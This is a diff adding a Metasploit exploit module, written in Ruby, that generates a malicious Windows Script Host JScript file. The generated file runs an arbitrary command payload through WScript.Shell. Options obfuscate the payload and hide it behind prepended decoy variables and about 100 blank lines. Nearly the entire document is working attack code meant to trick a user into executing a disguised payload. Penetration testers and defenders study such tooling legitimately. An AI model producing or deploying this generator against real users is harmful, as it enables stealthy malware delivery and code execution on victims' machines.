|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = GreatRanking |
| 8 | + |
| 9 | + include Msf::Exploit::FILEFORMAT |
| 10 | + include Msf::Exploit::JSObfu |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Malicious Windows Script Host JScript (.js) File', |
| 17 | + 'Description' => %q{ |
| 18 | + This module creates a Windows Script Host (WSH) JScript (.js) file. |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => [ |
| 22 | + 'bcoles' |
| 23 | + ], |
| 24 | + 'References' => [ |
| 25 | + ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], |
| 26 | + ], |
| 27 | + 'Arch' => [ARCH_CMD], |
| 28 | + 'Platform' => 'win', |
| 29 | + 'Payload' => { |
| 30 | + 'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping |
| 31 | + 'BadChars' => "\x00", |
| 32 | + 'DisableNops' => true |
| 33 | + }, |
| 34 | + 'Targets' => [ |
| 35 | + [ |
| 36 | + 'Microsoft Windows 98 or newer', {} |
| 37 | + ], |
| 38 | + ], |
| 39 | + 'Privileged' => false, |
| 40 | + 'DisclosureDate' => '1998-06-25', # Windows 98 release date |
| 41 | + 'DefaultTarget' => 0, |
| 42 | + 'DefaultOptions' => { |
| 43 | + 'DisablePayloadHandler' => true |
| 44 | + }, |
| 45 | + 'Notes' => { |
| 46 | + 'Stability' => [CRASH_SAFE], |
| 47 | + 'Reliability' => [REPEATABLE_SESSION], |
| 48 | + 'SideEffects' => [SCREEN_EFFECTS] |
| 49 | + } |
| 50 | + ) |
| 51 | + ) |
| 52 | + |
| 53 | + register_options([ |
| 54 | + OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), |
| 55 | + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) |
| 56 | + ]) |
| 57 | + |
| 58 | + register_advanced_options([ |
| 59 | + OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]), |
| 60 | + OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]), |
| 61 | + ]) |
| 62 | + end |
| 63 | + |
| 64 | + def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false) |
| 65 | + js = '' |
| 66 | + |
| 67 | + # TODO: This could be improved by generating more realistic looking |
| 68 | + # benign code with functions and flow control |
| 69 | + if prepend_benign_code |
| 70 | + rand(5..10).times do |
| 71 | + js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n" |
| 72 | + end |
| 73 | + end |
| 74 | + |
| 75 | + js << "\r\n" * prepend_new_lines |
| 76 | + |
| 77 | + escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"') |
| 78 | + |
| 79 | + # If the payload contains " & " we presume it is a command string. |
| 80 | + # |
| 81 | + # TODO: Change this once Metasploit is able to inform a module that |
| 82 | + # the specified ARCH_CMD payload is a string of commands |
| 83 | + # (not a single command). |
| 84 | + if escaped_payload.include?(' & ') |
| 85 | + cmd = "cmd.exe /c #{escaped_payload}" |
| 86 | + else |
| 87 | + cmd = escaped_payload |
| 88 | + end |
| 89 | + |
| 90 | + shell_var = rand_text_alpha(6..16) |
| 91 | + js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");" |
| 92 | + js_payload << "#{shell_var}.Run(\"#{cmd}\");" |
| 93 | + |
| 94 | + if obfuscate |
| 95 | + js_obfu = Rex::Exploitation::JSObfu.new(js_payload) |
| 96 | + obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s |
| 97 | + # WSH JScript execution context does not support 'window' object |
| 98 | + obfuscated_payload = obfuscated_payload.gsub('window[', 'String[') |
| 99 | + js << obfuscated_payload |
| 100 | + else |
| 101 | + js << js_payload |
| 102 | + end |
| 103 | + |
| 104 | + js |
| 105 | + end |
| 106 | + |
| 107 | + def exploit |
| 108 | + js = generate_jscript( |
| 109 | + payload.encoded, |
| 110 | + prepend_benign_code: datastore['PrependBenignCode'], |
| 111 | + prepend_new_lines: datastore['PrependNewLines'], |
| 112 | + obfuscate: datastore['OBFUSCATE'] |
| 113 | + ) |
| 114 | + file_create(js) |
| 115 | + end |
| 116 | +end |
0 commit comments